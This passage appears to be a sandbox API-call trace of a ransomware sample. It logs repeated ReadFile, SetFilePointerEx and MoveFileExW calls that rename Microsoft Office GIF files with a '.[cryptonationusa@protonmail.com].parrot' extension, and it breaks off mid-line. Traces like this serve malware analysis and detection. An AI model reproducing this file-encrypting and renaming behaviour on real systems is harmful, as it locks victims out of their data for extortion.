returned 1 [0165.815] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.815] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaf, lpOverlapped=0x0) returned 1 [0165.816] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.821] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.821] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.822] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.822] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x146, lpOverlapped=0x0) returned 1 [0165.822] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.878] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.878] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.879] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.879] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x102, lpOverlapped=0x0) returned 1 [0165.879] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.890] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.890] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.891] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.891] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe9, lpOverlapped=0x0) returned 1 [0165.891] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.902] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.902] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.903] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.903] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11f, lpOverlapped=0x0) returned 1 [0165.903] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.949] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.949] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.950] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.950] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x101, lpOverlapped=0x0) returned 1 [0165.950] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.289] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.289] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.290] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.290] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe9, lpOverlapped=0x0) returned 1 [0166.291] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.297] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.297] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.298] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.298] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0166.298] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.303] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.304] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.304] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb1, lpOverlapped=0x0) returned 1 [0166.304] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.310] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.310] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.312] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.313] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xad, lpOverlapped=0x0) returned 1 [0166.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.317] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.318] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14e, lpOverlapped=0x0) returned 1 [0166.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.324] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.324] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.325] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xeb, lpOverlapped=0x0) returned 1 [0166.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.329] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.329] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.330] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.330] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf7, lpOverlapped=0x0) returned 1 [0166.331] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.335] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.336] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.336] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfe, lpOverlapped=0x0) returned 1 [0166.336] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.340] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.340] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.341] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb6, lpOverlapped=0x0) returned 1 [0166.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.346] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.346] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.347] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.347] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaf, lpOverlapped=0x0) returned 1 [0166.347] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.351] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.351] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.352] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.352] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xff, lpOverlapped=0x0) returned 1 [0166.352] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.377] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.378] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.378] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0, lpOverlapped=0x0) returned 1 [0166.378] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 